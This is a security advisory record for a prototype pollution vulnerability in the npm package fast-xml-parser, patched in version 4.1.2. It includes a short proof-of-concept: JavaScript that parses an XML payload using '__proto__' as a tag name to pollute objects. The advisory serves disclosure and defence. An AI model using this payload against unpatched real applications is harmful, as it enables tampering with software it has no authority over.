GHSA-x3cc-x39p-42qx

Source

https://github.com/advisories/GHSA-x3cc-x39p-42qx

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/06/GHSA-x3cc-x39p-42qx/GHSA-x3cc-x39p-42qx.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-x3cc-x39p-42qx

Aliases

Published

2023-06-13T12:44:34Z

Modified

2023-12-19T21:11:20.545596Z

Severity

6.5 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N CVSS Calculator

Summary

fast-xml-parser vulnerable to Prototype Pollution through tag or attribute name

Details

Impact

As a part of this vulnerability, user was able to se code using __proto__ as a tag or attribute name.

const { XMLParser, XMLBuilder, XMLValidator} = require("fast-xml-parser");

let XMLdata = "<__proto__><polluted>hacked</polluted></__proto__>"

const parser = new XMLParser();
let jObj = parser.parse(XMLdata);

console.log(jObj.polluted) // should return hacked

Patches

The problem has been patched in v4.1.2

Workarounds

User can check for "proto" in the XML string before parsing it to the parser.

References

https://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7

Database specific

{
    "nvd_published_at": "2023-12-12T17:15:07Z",
    "cwe_ids": [
        "CWE-1321"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-13T12:44:34Z"
}

References

Affected packages

npm / fast-xml-parser

Package

Name: fast-xml-parser; View open source insights on deps.dev
Purl: pkg:npm/fast-xml-parser

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

4.1.2

Ecosystem specific

{
    "affected_functions": [
        "(fast-xml-parser).XMLParser.parse"
    ]
}